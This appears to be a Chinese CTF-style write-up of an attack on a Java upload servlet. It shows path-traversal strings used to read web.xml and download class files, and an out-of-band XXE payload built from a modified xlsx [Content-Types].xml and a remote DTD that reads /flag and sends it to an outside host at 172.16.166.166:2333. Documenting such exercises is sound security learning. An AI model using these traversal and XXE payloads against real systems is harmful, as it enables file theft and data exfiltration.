可以发现他的form表单传入的路径是/UploadServlet 明显就是一个Java类
经过测试尝试目录穿越
报错500 回显了一段前端,我们用脚本处理下
处理后爆出绝对路径
只要稍微学过一点java web的人都知道web.xml是java的配置文件
一般都在WEB-INF目录下
../../../web.xml
成功读取到配置文件。以及各个类的路径
只要你搭过Tomcat服务器就知道这些类都在WEB-INF/classes目录下
把这些类全部下下来
../../../classes/cn/abc/servlet/ListFileServlet.class
../../../classes/cn/abc/servlet/DownloadServlet.class
../../../classes/cn/abc/servlet/UploadServlet.class
直接拖到IDEA做审计
我们直接看到上传类
可以发现他这里对excel文件做了判断
直接搜
有个CVE还是2014年的,离谱
CVE-2014-3574
而这篇文章用的是另外一个类,回到源码,搜搜WorkbookFactory这个类
这个类包含了上述POC的那个类,由此尝试漏洞利用
漏洞结合XXE
新建一个xlsx文件,名字满足上传规则
然后修改修改[Content-Types].xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://172.16.166.166/penson.dtd">
%remote;%int;%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
在服务器创建penson.dtd文件
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://172.16.166.166:2333?p=%file;'>">
然后监听上传